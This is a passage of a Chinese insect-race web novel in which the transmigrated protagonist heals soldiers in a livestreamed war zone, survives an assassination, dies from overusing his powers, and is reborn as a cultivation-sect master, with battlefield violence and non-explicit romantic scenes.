“污染区不比帝都,你这松松垮垮的模样,只怕几条命都不够你挥霍的。”诺里斯轻轻扯了一下他散开的领子,倒也不为难他,进了污染区,那都是他的伙伴,不分雄雌。 “噢。”江林回答。 诺里斯拿出一把银色的枪,拉开雄虫的腰带,将枪塞进他腰上,嘱咐道:“这是军队最先进的离子枪之一,杀伤力极大,除非是S级的防御力,否则都能被迅速消灭,缺点是续航不强” 他又和江林说了些战区注意事项,才从江林的房间离开。 江林把玩着那把小巧的离子枪,五指显得修长有形,玩起枪来极为熟练,流畅的动作不像是新手。 /// 污染区在某个富庶的小星球,在污染物凭空出现之前,这里的虫子都是安居乐业的,后来被精神污染的虫子们便敌我不分地蚕食同类 江林来到污染区三天,期间都在医疗区,对被精神污染的军雌进行精神疏导。 因为星网上的雌虫被有心虫带节奏,舆论压力太大,虫帝不得不安排了雄虫的战区直播,以证明雄虫现在真的正在污染区。 【雄虫在污染区怕是会被吓尿吧?哈哈哈,雄虫这种养尊处优的废物。】 【就是就是,在污染区也只会添乱。】 【连繁衍都弄不明白的雄虫,还不如回家生孩子吧哈哈哈】 当直播画面不稳定地出现时,微暗的环境下,旁边都是简陋的帐篷,不远处是一片片被破坏的废墟,若是注意看还能看见污染物和军雌们在空中激烈打斗的身影。 而雄虫的背影出现在画面中,他穿着有些脏乱的军装,黑色的头发在空中凌乱,他没有看镜头,手放在一只半虫化雌虫的手臂上。 雄虫就算昏暗的环境下,也是脱颖而出的白皙,半虫化的雌虫显得可怖高大,手臂上都是怪异的鳞片,指甲锋利,随时可能失控伤虫。 原本痛苦嚎叫的雌虫,在雄虫的精神疏导下变得平静起来,那赤红崩溃的双眼逐渐清明,滴滴答答淌出的血在脚下汇聚成河流。 他怔怔看着眼前的雄虫,下意识地抬手挡住他的动作,指甲不小心划破了雄虫的手臂。 直播画面中只出现了雄虫微微蹙眉的侧脸,那张精致俊朗的脸,仿佛渡上了一层淡淡的白色光辉,他面对慌乱的雌虫,只是轻轻摆摆手,示意无事。 直播中的评论在江林出现的瞬间,出现一丝停滞,才爆发出大量的弹幕。 他们从未见过这样的雄虫。 【在末日般灰暗的污染区,皎洁的白月光雄虫!】 【打不打脸呢?谁说雄虫只是贪生怕死的懦弱虫?刚刚那只雌虫如果没有雄虫及时的精神疏导现在已经死了。】 【我就说金斯利阁下不是废物!金斯利阁下就是最棒的雄虫。】 【所有进入污染区作战的军雌们,难道就没幻想过自己被精神污染即将崩溃的时候会有天使雄虫对自己进行精神疏导吗?】 【不知道为什么看见这样的画面,我好想哭。】 【金斯利不愧是A级雄虫,面对那么凶恶的半虫化雌虫还能保持冷静】 江林当然知道直播的事情,可以说这件事还是他允许的,刚刚也是故意这么表现的。 他脸色有些发白,精神力有些透支了,污染区空气中都带着一种酸味,黑色的飘絮物,身后是还未被感染的平民区,死伤惨重。 整个星球被屠戮过半。 诺里斯脸色难看,打开光脑,联系军部,江林刚刚走近他的机械帐篷,便听见他有些冷的声音说道:“部长,监测错误,这根本不是A级污染物,而是S+污染物!我带的人远远不够完全清除污染物,保护平民,请求军部进行支援” 江林没说话,只等诺里斯挂断了通讯,才出声道:“如果没猜错的话,这次的支援怕是要泡汤了。” 诺里斯此刻身上没有半点散漫的气息,只剩下冷肃,身后还没收回的骨翅上都是斑斑血迹,额前露出一点触角,他表情嗜血暴虐,浑身都充满了血腥味。 他直勾勾看着眼前镇定的雄虫。 “他居然这么狠?”诺里斯长长呼出一口气,声音沙哑。 “当然,只要我死,就算让你整个军队和这个星球陪葬也无所谓。”江林面无表情,不懂乔伊斯怎么会恨他这么凶。 诺里斯咬牙,紧绷出利落的下颌线,死死盯着江林,却没有责怪,轻哼一声:“那要看他有没有这么本事了。” 江林笑了笑:“我给你精神疏导一下。” “不用,我没事。”诺里斯摇了摇头。 “你的骨翅都无法收回,还要逞强?我现在还指望你这个最强战力保持实力呢。”江林戳破他的伪装。 诺里斯这才单膝跪下,主动抓住他的手按在自己的额头,触角轻轻挠着江林的手背。 原本来找诺里斯的奥卡姆在门口看见长官和雄虫的动作,自觉地退出帐篷,为两人守着。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 120-130 第121章 刚刚从污染区回到帝都的哈珀看了江林的每一场直播, 他申请前往雄虫所在的污染区,支援诺里斯的军队,但部队给出的回答是:前往蚩乾星的星轨被敌军炸毁, 现在正在紧急修复 直播画面中的雄虫和他此前见的都不同,在帝都时, 他总是高高在上,看得雌虫的眼神带着轻蔑和冷漠,那样的雄虫也相当漂亮, 带着不可高攀的冷艳。 但不修边幅的雄虫,身形似乎越发消瘦了, 穿梭在伤患中,面对被斩下手臂,半虫化后面目狰狞的雌虫,他也没有表现出多余的情绪,只是平静为他们清理精神污染。 哈珀不由想到了雄虫为自己进行精神疏导的轻松和爽利,若是在战场上真的能够配有雄虫, 他敢肯定军雌的死亡率最少少一半。 毕竟如今的市场上没有任何精神治愈药物能够代替雄虫的精神疏导。 “金斯利”哈珀反复看着那段昏暗中微微泛着光芒的侧脸, 眼底浮现出痴迷, 此前所遭受的所有欺凌在这一刻都消散了,他想让他的雄虫为他再做一次精神疏导。 /// 亚斯原本准备不顾危险, 自行驾驶星舰前去支援, 但他收到了一个匿名的报告,上面明确写着他和金斯利的非兄弟血亲的医疗诊断书。 同时,还有一段录像, 是虫帝杀死他的雌父和弟弟的录像,所以雌父不是死于污染区,而是死于虫帝之手。 那时虫帝还不是虫帝, 只是上将而已,虫帝和亚斯的雌父曾经是出生入死的好兄弟 亚斯呆愣在原地,第一次是不敢相信,直到视频反复播放,虫帝抓着雌父的脑袋,砍掉了他的头颅,小孩的哭声也戛然而止了。 亚斯微微收缩的瞳孔,突然变红了眼,痛苦让他喘不过气来,认知的混乱让他头痛欲裂,对于金斯利这个“弟弟”更加头痛。他扼住自己的喉咙跪在地上,脑海中都是雌父和弟弟惨死的画面,以及金斯利灿烂微笑的模样。 “为什么啊?到底为什么会这样”亚斯被蒙骗了二十多年,一直将仇人的孩子当成最宝贝的东西捧在手心。 /// 雄虫的疏导室内,乔伊斯躺在丹的休息室内,一只被挖掉的眼睛装着怪异的机械眼,眉眼间都是阴沉,他对于金斯利的表现只是讽刺地评价:“他现在遭受的不过是寻常雌虫的百分之一,凭什么得到如此的歌颂?” 丹正在穿外套,闻言动作一顿,眉梢轻轻拧起:“但是他的确在帮助所有的雌虫脱困,难道就因为他的过错,就要否定他现在的善良吗?” 乔伊斯凉凉扫了他一眼,“他本来就该死,那些受害者所受的痛苦就能因为他的善被轻轻揭过?” 他一向心高气傲,一只都是学校和家族的佼佼者,可就是因为金斯利挖掉了他的一只眼睛,让他再也无法从事自己钟爱的事业,也让他抬不起头。 金斯利怎么就不该死了? /// “金斯利阁下早上好”一只半边唇被污染物炸毁的雌虫,露出一个鲜血淋淋又讨好的笑,露出可怖的森森白骨。 江林只是朝着微微点头,轻柔的将手指落在他额心,感受他杂乱的精神力。 “麻烦您了。”好在雌虫的身体强壮,修复能力又强,就算外表被伤得面目全非,也还是在苟延残喘。 地下城里都是一些手无缚鸡之力的虫崽或者无战斗力的老年虫,战场上的雄虫不止江林一只,蚩乾星零星的几只雄虫也学着他的摸样进入了战场。 乔治断了一只腿,被虫抬着过来的,额前露出两个黑色的犄角、尖锐的锯齿状牙齿,一双眼竖瞳冰冷,半虫化严重,以他的资历能够坚持到现在已经非常不容易了。 江林疏导好那只毁容的雌虫后,他蹲到乔治面前,看着那双渴望看着他的狗狗眼,微微垂着眸子,在乔治伸手的时候,轻轻握住他的手指。 乔治愣了一瞬,随即绽放出大剌剌的笑容,那看起来锋利又参差不齐的牙齿,显得有些可怜又好笑。 他缓慢吐出沙哑的话:“金斯利阁下。” 他现在的伤势需要回到帝都治疗,暂时失去了战斗能力。 江林应了一声,低声夸道:“乔治你很不错了,我昨天看见你战斗,非常帅气英勇” 乔治眨巴眨巴虫眼,越发紧地握住江林的手指,但因为虫化严重,说不出多余完整的话。 这个画面正在星网直播,满屏的爱心。 【噢,我敢保证这只雄虫绝对陷入爱河啦。】 【谁能拒绝这样的金斯利阁下,如果我的雄主是他,不知道我会是多么快乐的小雌虫。】 【哦,我也叫乔治,我不管,阁下在夸赞我。】 但只见乔治脸上欣喜的笑容戛然而止,他瞬间变成了冷漠的预警状态,因为行动不便,他只能抓着江林的胳膊,将雄虫压在身下,同时后背展开残缺的羽翼护住江林,后背暴露在刺杀者的面前。 江林透过乔治看见那只被炸毁半边脸的雌虫正伸出长长的指甲穿透了乔治的心脏,脸上一片肃杀冷酷,乔治死死护着他。 江林迅速掏出自己的枪,对准雌虫毫不犹豫地开枪,雌虫瞬间失去了战斗力,胸口出现一个黑色的大窟窿,倒在身后,这些都发生在转瞬间。 这个区域属于医疗区,前面几天诺里斯还安排了人保护江林,可是战事吃紧,便将护卫调走了,现在这里都是一些失去战斗力的伤残虫。 直播也完整地记录了这一幕,江林的直播是光脑自动进行的。 远在帝都的伏恩死死地看着弟弟去死的这一幕,胸腔一阵疼痛,喷出一口鲜血。 江林抱着乔治的身体,只能感觉到他被死死压在身下动弹不得,直到被其他虫帮忙才移开已经死掉的乔治。 乔治闭着双眼,四肢和身体都还呈现保护的样子,江林的脸色难看起来,刚刚还傻笑的雌虫就这样死在他跟前,还是为了保护他。 【怎么会这样?那只雌虫疯了吗?】 【我早觉得不正常,怎么会这么巧星轨在这个时候坏掉了?现在的刺杀更像是在证明我猜测。】 【不是吧,谁这么恨金斯利阁下啊。】 【补药,补药杀他啊。】 【唉,像这种分不清轻重缓急的虫才应该被重罚。】 【就算金斯利罪孽深重也不该是这种被背刺的结果。】 江林根本来不及多想,奥卡姆带虫来安排撤离,他满身都是血,脸上的虫鳞又冒出来了,他低头看着雄虫,语气凝重:“从污染黑洞又冒出了很多高阶污染物,现在我们必须全部撤离到地下保护城中,金斯利阁下,您跟着我。” 奥卡姆似乎也知道了这边的刺杀消息,神情有些懊恼,“接下来,我会保护好您的安全。”’ 江林被奥卡姆轻轻抱起来,张开黑色的虫翅,将人护在自己的怀中。 江林看着那倒在地上的尸体,在逃命的时候,没人会在乎一只雌虫的尸体,他轻轻移开视线,又看见站在残阳下的高大雌虫,他展露着自己白色的虫翅,前面是黑压压一片的污染物,那些怪异的污染物。 某些看起来像是虫族,但常常多长了几个四肢或者脑袋,还有一些根本分不清是什么的怪物,带着粘稠的毒液和污浊的空气。 诺里斯站在最前面,身边是一同进行战斗的伙伴们,他们似乎变成了最后一道防线。 江林收回视线,轻轻抱住奥卡姆的肩膀,语气有些轻:“所以你们清除污染物,每次都是这么伤亡惨重。” 奥卡姆声音嘶哑:“大差不差,但是平时不会越级处理污染区,这次带来的军雌和武器还是太少了,不够时间休整。” 身后是余晖下逃亡的雌虫们,淅淅沥沥下起了雨,落在人身上冰冷又刺骨,但没有一滴落在江林身上,奥卡姆完全遮住了风雨。 “这次有您的存在,我们已经算是超常完成任务了。” 江林语气带着点气音回答,不置可否:“是吗?” “是的,可能您自己都不知道,您就像是天使一样落在我们身边,是从前想都不敢想的。”奥卡姆从出生开始就不知道说一些哄人的花言巧语,现在也只是真心实意说着自己的心里话。 但落在其他虫耳中却又各有不同的感受了。 【虽然这话肉麻,但我真的想要金斯利驻军!】 【很有道理,我投一票天使雄虫。】 【我愿意代替金斯利领罪!】 地下城温暖如春,建筑也并不灰败,启动了保护罩,隔绝了外面的污染空气,泛着浅蓝色光芒的保护罩,身后是惊恐的虫,他们都有些害怕的看着外面的世界,被摔在保护罩外面的雌虫们。 江林对上无数双清澈无助的双眼,垂了垂双眼,心中微微轻叹,他说:“主神大人,我们做个交易怎么样?” 主神隔了很久才用高高在上的语气说道:“你说说看。” 江林就算伪装得再好,他也有一颗不想伤害无辜的心,无能为力倒也罢了,只要有可能他还是想救一救无辜的虫崽们。 阳光逐渐下沉,黑夜笼罩整个地下城,陆陆续续回来的雌虫,夜晚那些污染物也会休整,但也不能懈怠,留下巡逻的军雌。 江林住在舒适的房间内,家具也一应俱全,这里面最冷静的就是他了,他看着奥卡姆硬朗的脸庞,朝着他招招手。 奥卡姆蹲下身,他和坐着的江林平视着,呼吸有些沉重,“金斯利阁下有什么吩咐吗?” “我对你进行深度标记吧。”江林抬手在他脸上的虫鳞上抚摸了几下,双眼平和,没有任何的戏弄。 “只有深度标记才能在极短极快下完成彻底的精神污染清理。” “我知道你是整个军队除诺里斯以外最厉害的雌虫。” 奥卡姆却有些犹豫,他认为自己这样的虫根本配不上雄虫的深度标记,感觉那样是对他的亵渎般。 江林听到了他们的谈话,如果明天帝都的支援还无法到达,那么整个星球都会被污染,无一幸免。 但星轨已经修好,支援只是时间问题。 “好了,奥卡姆不要说那些我不喜欢听的话。”江林打断他试图说话的嘴,手落在他肩膀上,精神触须也深入他的脑域,感受那溺水般沉重的负重感朝着江林袭来。 深度标记让雌虫觉得没有安全感,从而生出一种想要狠狠占有雄虫的冲动,只有抓住真实的雄虫,才会让在虚无缥缈快感中的雌虫安心。 奥卡姆主动又小心翼翼地抱住雄虫,粗粝的手指抚摸着雄虫的后颈,双眼热切却不敢真的靠近,只是难耐地用手指摩梭着雄虫身上的肌肤。 江林感受到雌虫的紧张,导致他的脑域都变得闭塞和抗拒,他忍不住挑眉,抓起他的头发,吻在他肥厚的嘴唇上。 奥卡姆黝黑的肌肤出现不易察觉的红晕,颤抖又服从地接受着雄虫的抚慰,粗长的舌头舔着雄虫娇嫩的粉舌,收敛着自己的粗糙,怕让雄虫感受到一丝的不舒服。 奥卡姆渴求的舔吮着江林舌尖的每一寸水渍,甚至都无瑕抵挡雄虫的精神入侵,轻轻的捧着雄虫的脸,手指轻颤着。 江林感觉自己的嘴唇被雌虫舔红了。 甚至奥拉姆冰冷的漆黑的勾尾都小心翼翼、不受控制地从雄虫的腰带滑了进去,让雄虫也感受到了他的冰冷和激动。 江林也受到了丝丝牵制,抬手扇了他一巴掌,眯了眯眼:“把尾巴收回去。” 奥卡姆那么大的高个,唯唯诺诺的从江林的裤腰带里把勾尾收回去,一不小心划破了他的皮带和裤子,失去束缚的裤子变得松松垮垮,露出一点白皙的腰腹,浅青色的血管,落在雪一般的肌肤上,看得雌虫直咽口水。 就在江林将他的脑袋往下按时,门毫无预兆地从外面打开。 奥卡姆闻到了雄虫身上清新的味道,双眼发直,听见身后长官的声音才缓缓回神。 “你们这是在干什么?”诺里斯声音很平静,不似斥责,也不似温柔。 奥卡姆直起身来,解释道:“阁下在对我进行深度标记。” 诺里斯勾了勾唇,血红的眼珠微微眯起:“那我来得不是时候?” “不。”江林摸了摸有些发烫的手指,“你来的正是时候,给我看看你的脑域。” 如果不是污染严重,诺里斯不会主动来找他。 虽然现在的诺里斯看起来和正常的虫族一样。 奥卡姆主动站起身,让出位置给自己的长官,衣摆被江林拉住,拧了下眉:“你还没好,先别走。” 奥卡姆和诺里斯冷淡地视线对上,最终还是无法违背自己心意,留了下来。 江林衣领松散,衣衫不整,但表情却非常正经,精神触须分为两簇,分别进入了两只雌虫的脑域,诺里斯的脑域已经一片严酷寒冬,雪山崩坏,河水结冰 诺里斯望着脸颊微红的雄虫,他紧绷着唇,神情却是紧绷的,在他心中金斯利的形象早就和之前不同,是并肩的伙伴,值得尊重。 他扫过垂着眼,浑身克制紧绷的奥卡姆,他的拳头紧握,不敢有任何的松懈。 诺里斯没有顾及还有属下在这边,抬起了江林的下巴,凑近他的唇边。江林的眉梢蹙得更深了,似乎有些烦躁雌虫妨碍自己精神疏导的行为。 诺里斯看见了他唇角不正常的红,余光扫过奥卡姆的脸,语气不轻不重:“野蛮无礼的雌虫,怎么能让雄虫受伤呢?” 江林嘴唇被诺里斯轻轻含住,他精神触须还在对方的脑域开疆扩土,嘴唇却也被他擒入嘴中,被他攻城略地了。 一个在精神上,一个在身体上。 诺里斯感觉到每一丝痛苦,都化作了更加缠绵的动作,很努力地侵/犯着江林的唇舌。 江林眯了眯眼,精神依旧平缓而稳定,身后贴上一副炙热坚实的身躯,奥卡姆的手臂环在江林腰上,呼吸克制地落在他肩膀。 诺里斯微微顿住,抬眼看向垂着眼的奥卡姆,眼神带着一丝占有的寒光。 江林按住奥卡姆的手臂,前面是动作强势的诺里斯,身后又堵着一具高大的身躯,进退两难。 他的精神触须没有被打断,肩膀上洒下一片炙热的呼吸,他感受到身后的奥卡姆,害怕又小心地试探,他轻轻地探出舌尖,舔舐着他的后颈,较为柔软的软肉。 “呼”江林侧了侧脸,呼出大口的呼吸。 诺里斯望着身后冒犯的雌虫,语气意味不明:“奥卡姆,没有礼貌的狗崽子。” 奥卡姆蹭了蹭江林的肩膀,感受着他的颤抖,精神触须断裂,他依依不舍地摸了摸被他舔湿的后颈,声音嘶哑:“我先出去了,长官阁下有任何需求都可以找我。” 江林这次没有阻拦,奥卡姆依依不舍地抽身离开,关上了房门,站在门口继续当诺里斯和江林最忠诚的看门狗。 “深度标记,这种程度不够吧?”诺里斯看向江林,血色的眼底沉淀着麻木,喃喃道:“我们也许根本撑不到支援,你也会死在这里,会后悔吗?” 江林黑眸冷静,用手背揩了揩嘴角,那张脸精致有余又不乏坚强,“我后悔什么?这本来就是冲我来的,不是这次,还会有下次,只是诺里斯你成为我的陪葬品,会后悔吗?” 诺里斯静静地看着他,忽然一笑:“现在不会了。” 诺里斯彻底抱住眼前的雄虫,让雄虫在他脑域深处和身体深处都烙下印记。 /// 警报是黎明前拉响的,早有准备,胆颤还是控制不住的。 如同过江之鲫般多的污染物,看起来便觉得密集恐惧症都要犯了,四肢都在地上爬,畸形诡异地行走,双眼通红,露出垂涎的口水。 诺里斯展开自己白色的虫翅,强行让自己半虫化,激发更强的战力,雌虫一排排站在保护罩前。 半虫化的雌虫坚持不了太久,坚持几个小时已经是奇迹了。 江林的直播打开了,这下无虫再说任何的风凉话了,全部都在沉默的观看,这场乱战,公屏弹幕也都是在骂帝国军部不作为。 奥卡姆被围攻,腰上被缠上一只尾巴,半虫化让他精神有些恍惚,朝着他命门刺来的攻击都没有了躲闪的意识,还是脑域中一丝轻柔的精神力对他进行命令,他才下意识地躲开那致命的攻击。 他的爪子划破了所有污染物的束缚,那些消耗性的能量枪早就消耗殆尽了,否则也不需要近身肉搏。 他下意识地回头,却瞧见原本应该躲在保护罩后面的雄虫出现在战区内,他骑在一只羽族背上。 奥卡姆震惊地感受到了他精神触须在他脑海中的命令和抚慰,与此同时,所有被江林精神治愈过的雌虫都感受到了他的精神触须 这就是江林和主神的交易,S+级别的精神控制力。 他想,也许能让这些雌虫坚持更久一点。 诺里斯斩下身前污染物的头颅,深埋在他精神脑域的精神触须在对他暴躁的精神力进行清理,同时让他能够精准的躲闪攻击,斩杀污染物。 平时军队里面也会进行团队合作的战斗,只是没有这次这么酣畅淋漓。 诺里斯心思微沉,最终还是全权相信了江林。 【怎么回事?感觉局势有了些微妙的变化?】 【他们的配合好像更加默契了,没有任何多余的动作。】 【我靠,羽族背上的雄虫是怎么回事?这么危险,他在干什么?】 观看的虫数还在持续暴涨,就算江林能让他们配合得再默契,也无法抵挡如此庞大的污染物,他亲眼看见奥卡姆被分食感觉,自己的精神力也到达了极限,他骑着的虫族也在冲锋时被打落,他身形不稳即将摔在满是污染物的地面上。 江林收回自己的所有精神触须,有些遗憾地想,所以要重新回到开始了吗?那他的交易是不是也白做了。 空气中都是粘稠的臭味,江林腰上微微一重,他下降的动作戛然而止,他抬头看去,瞧见了从飞艇上俯冲而下的哥哥亚斯。 第122章 四周都是寸草不生的狼藉, 漫天是被污染的空气,浑浊不堪,而亚斯金色的虫翅就显得有些耀眼了。 江林望着他冰冷中带着紧张的脸, 腰上的绳索在回弹向上,亚斯牢牢接住了雄虫降落的身影。 江林露出一点不满的神色, 嘀咕着:“什么嘛,明明我才是舍己为人的那个,怎么弄得他像救世主似的?” 亚斯刚好听见这句话, 抿了抿唇,完完全全将他藏入怀中, 在他耳畔道:“放心,谁都夺不走你的光芒和功劳。” 江林没说话,吐出一口鲜血,染红了亚斯的衣襟,视线逐渐模糊,他和那个狗屁主神交易是有代价的。 亚斯有些惊慌地呼唤:“金斯利!” 江林对后面的事情就完全不知道了。 /// “金斯利阁下精神域已经完全被超负荷的精神压力碾碎了伤势不可逆从此之后可能再也无法为任何虫进行精神标记了” 江林恢复意识的时候, 就听见了医虫对自己判了“死刑”, 视线逐渐清晰, 医虫旁边站着两只高大的雌虫,透明窗户外面也站立着笔直的军雌。 亚斯和诺里斯的脸色都不太好看, 诺里斯皱眉:“就没有其他办法了吗?” “这就相当于碎成碎片的玻璃, 你还能靠外力完全复原吗?”医虫无奈地摇头,如果可能他也想治好江林,毕竟这样一只雄虫值得被尊重。 诺里斯已经将战场报告完整地递交了军部, 现在所有的虫都知道雄虫金斯利在这次战场中发挥的指挥战略作用,也改变了许多虫的偏见认知。 同时让整个社会都开始反思,雄虫真的只是生育的工具吗?或者说雄虫还有其他的可能性? 但不是所有雄虫都是金斯利! 江林表现得像个没事虫般, 等医虫离开,才低声问:“我睡了多久?” 诺里斯神情依旧凝重:“三天。” 江林视线看向沉默的亚斯,苍白的唇角轻轻勾起,嗓音有些虚弱:“哥哥,你都知道啦?” 亚斯脸上的肌肉微微紧绷,心中最后一点庆幸都消失了,他声音有些沉:“你早就知道你不是我弟弟了?” 江林没说话,其实金斯利到死都不知道。 诺里斯上前一步站在亚斯面前,将江林挡在自己身后,言辞恳切:“亚斯上将您想想,金斯利他也是无辜的,他有拒绝的权利吗?他从来都没有。” 亚斯沉沉呼吸一瞬,露出一抹惨笑,视线依旧直勾勾看着他:“所以你明知道真相还心安理得地享受着我的好,看我陷入痛苦你在想什么?冷眼看我陷入你的陷阱中” 江林打断他的话,秀气的眉头轻轻蹙起:“亚斯,你一直都有拒绝的选择,不管是对我的态度,还是被我绑架,你都能拒绝。” “”亚斯定定看了他几秒,无法反驳,转身离开。 诺里斯:“” “你为什么一定要说得那么绝?”诺里斯坐在他床前的椅子上,看了一眼就算生病也依旧装得冷酷绝情的雄虫。 “你以为你很了解我?”江林斜斜看他一眼。 诺里斯呦了一声,看着明明脆弱得像个软绵绵的棉花,但还要竖起尖刀,他起身朝着江林靠近。 见他越来越近,江林才慌了些,语速飞快:“你想干什么?!我现在只是一只残疾虫,根本无法满足你的恶心欲望!” 诺里斯捏着他的脸颊,江林瞬间就噤声了,瞪着眼睛看着他,诺里斯唇角的笑容在看见他无声淌出的鼻血时,凝固住了。 他调笑的心思没了,松开他,拿起旁边的纸巾给他擦拭。 江林也能感觉到自己身体前所未有的虚弱,在昏迷前就能感觉五脏六腑错位的疼痛,因为系统没了,主神可不会心疼他。 虫族这边的医疗设备还算先进,能够屏蔽痛感。 江林笑了,“这副表情我是不是要死了?” 诺里斯强忍着其他的情绪,轻松一笑,“不至于” 但面对江林那双清澈的黑眸,诺里斯又说不出欺骗的话:“是,雄虫很脆弱的,现在精神域破碎,就相当于你的脑子某个重要部位受到了重创,生命会急速消失” “那挺好的,这个畸形的社会我早就不想呆了。”江林反而更加轻松了,话风一转,“诺里斯,我想让乔伊斯给我陪葬。” 诺里斯听见他郑重的语气和认真的神情,当然拒绝不了他,他牵起雄虫白得有些透明的手,在他手纤细的背上落下一吻:“他不配玷污你的亡灵。” 那些死在蚩乾星的虫都是他的亲部,有些是他一手栽培选拔,一些甚至和他是亲友。 但现在几乎全军覆没。 这笔帐,他是一定会和乔伊斯算的。 /// 江林重病的消息根本瞒不住,许多来看望他的人,都被他一一拒绝了,不准备和他们寒暄,也不想接受任何虫的怜悯。 但乔伊斯自己找上门了。 乔伊斯是以胜利者的姿态找到他的,因为他知道雄虫时日不多了。在这场战斗中,他自认为获得了胜利。 可他刚进入病房,脸上的笑容几乎维持不住,因为雄虫手中把玩着他的眼珠,那被放在蓝色药水中已经失去活性的眼珠。 哈珀站在他床边,警惕地看着乔伊斯,随时准备战斗。 江林轻轻将这个玻璃小罐放在桌上,轻轻推到乔伊斯的面前,看着雌虫原本轻松得意的姿态变得僵硬,笑容转移到他的脸上:“还认识这是什么吗?” 乔伊斯抬眼盯着那只可恶的雄虫。 “当初我就不该手下留情,应该把你的两个眼珠子都挖下来。”江林有些遗憾地说道。 他的语言残忍,破开乔伊斯的痛苦。 “当时你可没有对我手下留情。”乔伊斯拿起那个玻璃罐,紧紧攥在自己手中。 “你因为我害死了那么多虫,你和我比起来到底清高在哪里?”江林对金斯利的罪行供认不讳,但也不允许乔伊斯高高在上地指责。 乔伊斯上前一步,哈珀抓住他的胳膊,挡住他的动作,“你想动手吗?” 乔伊斯心胸狭窄,所以对金斯利挖他眼睛,毁他前程的事情恨之入骨,恨不得吃他的肉,喝它的血,从未忘记过自己的仇恨。 “现在看来我才是胜利者,你为雄虫争取的那点可怜的权利,真的会得到重视吗?不可能,雄虫依旧是被圈养的玩物,就算牺牲自己救了那些雌虫,又怎么样,没有人会记得”乔伊斯冰冷阴森地说道。 “是吗?”江林轻笑一声,在他逐渐撕心裂肺的表情中一字一句地说道:“不,永远都会有人记得金斯利,毕竟他是虫族历史上唯一一只能够控制雌虫战斗的雄虫。” “而你才是真的销声匿迹,受人唾骂。” /// 江林和格雷西许久未见,再遇见依旧是熟悉的审判庭,这次江林和乔伊斯站在对立面,而他依旧是那个冷酷代表正义的审判长。 同样是星网直播,乔伊斯故意毁坏星轨,造成支援不及时,差点让一个A级星球数万虫族的灭亡,无数军雌的牺牲,江林是证人。 乔伊斯被所有虫族唾弃,而对雄虫的评价依旧有两种,褒贬不一。 江林早就无所谓那些评价。 江林看着直播的摄像头,唇角勾起淡淡的笑容,似乎在向所有雄虫宣告,看啊,雄虫也能这么厉害。 格雷西判乔伊斯终身监禁,他的家族也被赶出帝都。 最终骄傲的乔伊斯在监禁室内自杀。 格雷西远远看着那只虽然脆弱病态,但依旧神采耀眼的雄虫,紫色的双眼出现一点异样的光芒,曾经跋扈的雄虫依旧,又有些不太一样了。 江林和他对视一眼,轻轻勾了勾唇,格雷西视线一顿。 格雷西的弟弟汤米早就回到了他的身边,家族那些恩怨也随着雄虫生病的消息变得云淡风轻,所有关于雄虫的记忆都似乎停留在那个在羽族背上的挥斥方遒、冷静掌控的雄虫身上。 他也上过战场,如果当时他的军队里有江林这样的雄虫,他的很多战友也许不会死 而伏恩站在审判庭的观众席,关注着江林,弟弟乔治的离开曾经让他痛苦不堪,但他不会恨江林,因为那是弟弟用生命保护的雄虫。 他对弟弟的愧疚让他甚至不敢单独去见一面江林,如果不是那晚他满身雄虫信息素地回来,乔治也不会从家中离开。 全部都是他的错。 /// 江林感受到自己手背的湿润,诺里斯似乎在黑暗中落泪了,他意识有些不清,抽出自己的手,很轻地在他脑袋抽了一巴掌:“神经,哭什么?” 诺里斯沉默不语,只是抓住他的指尖,不肯松开。 “你确实该哭,以后精神污染虫化的时候再也没有我这么厉害的雄虫帮你咯。”江林不喜欢告别,不喜欢伤感,但他现在的身体不受自己的控制,系统地离开让他很不方便。 “没关系,我可以不需要雄虫,除了你。”诺里斯沙哑的声音道。 “哦。”江林随意地说道。 “上将大人每天夜里都会偷偷看你,你”诺里斯说的是亚斯,也是一个胆小鬼,害怕听见江林说更多伤人话。 江林弯了弯眼,也许是要感觉到即将离开这个世界,心情不错,“诺里斯告诉你一个秘密。” 他伸手抱住诺里斯的脑袋,在他耳畔低声呢喃道:“勇敢的虫才配享受爱情。” 江林说完,轻轻啄了啄他的耳朵,诺里斯的耳根在发烫,他又听见雄虫混蛋地说道:“永远想念我吧,诺里斯。” 还不等诺里斯从中察觉出甜蜜的滋味,耳边响起刺耳的警报声,是雄虫失去了生命特征。 门从外面打开,亚斯崩溃的脸,他甩开愣住的诺里斯,将雄虫抱了出去,大喊着医虫。 最后,江林被推进了急症室 但注定无果。 所有被雄虫标记过的雌虫,每次精神污染或者情潮期被比其他未被标记的雌虫更加痛苦,但又抵触其他雄虫的靠近,只能靠着回味从前雄虫的温柔来度过一个又一个难熬的日子。 第123章 这一觉似乎睡得很沉, 没有系统地提醒,甚至感觉不到系统和主神的存在,四肢仿佛浸泡在水中般沉重。 直到一道声音破开他脑海中湿淋淋的水幕。 “清树真君!不好了, 大师兄筑基比试中毁了掌门亲传弟子的灵台,导致他修为尽毁, 灵根尽碎!”着急忙慌跑进来的弟子是清心殿的外门弟子。 江林也随之睁开双眼,入目就是雅典复古又不失华丽的盘龙柱,四周都是古风的建筑, 让他稍稍有些不适应,毕竟此前很少经历古代的世界。 他跟前跪着一个半大的孩童, 扎着丸子头,穿着白色的弟子服饰,腰上挂着刻着宗门标志的玉佩。 江林脑海中的记忆随之如同海啸般袭来,席卷了整个意识,那些熟悉又陌生的记忆铺天盖地地卷来。 他是玉溯宗的清树真君,元婴修士, 他背靠强大的修仙家族, 他是家族中这一代最具天赋的修士。 他也不负众望成为了玉溯宗的清树真君, 成为一方长老。 而玉溯宗也是十大仙门之一的强大门派。 他一生清冷无双,仙资玉貌, 追求者无数, 却清心寡欲,一心苦修。 他座下三个徒弟,也是个顶个的天才, 小说的开始就是从这三个孽徒开始的 清冷师尊变成了三个逆徒的炉鼎,曾经的清树真君,成为在徒儿□□摇尾乞怜的公狗 妥妥的黄文小说。 江林微微睁开双眼, 乌黑纤长的睫毛带着圆润的弧度,那双狭长的丹凤眼,显得有些冰冷,眼底淬着寒光。 谁做狗还真不一定了。 “你重新说一遍事情的来龙去脉。”江林的声音也结了冰似的冷,不怒自威的脸让弟子的脑袋低得更厉害了。 “今天是内门弟子的筑基比试,然后大师兄对战的是掌门亲传弟子姚年之师兄,在擂台上大师兄出手毁掉了姚师兄的灵台,现在正被执法堂的各位抓住了。” 江林在尘封的记忆中找到了这一段,大师兄赵天肃算是血海深仇版的龙傲天,隐姓埋名拜入玉溯宗,天生剑骨,剑修天赋了得。 这次赵天肃之所以毁人修为是因为姚年之侮辱他的亲母,他才会下此狠手。 